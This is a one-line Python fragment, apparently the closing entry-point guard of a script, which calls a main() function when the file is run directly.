if __name__ == '__main__': main()
|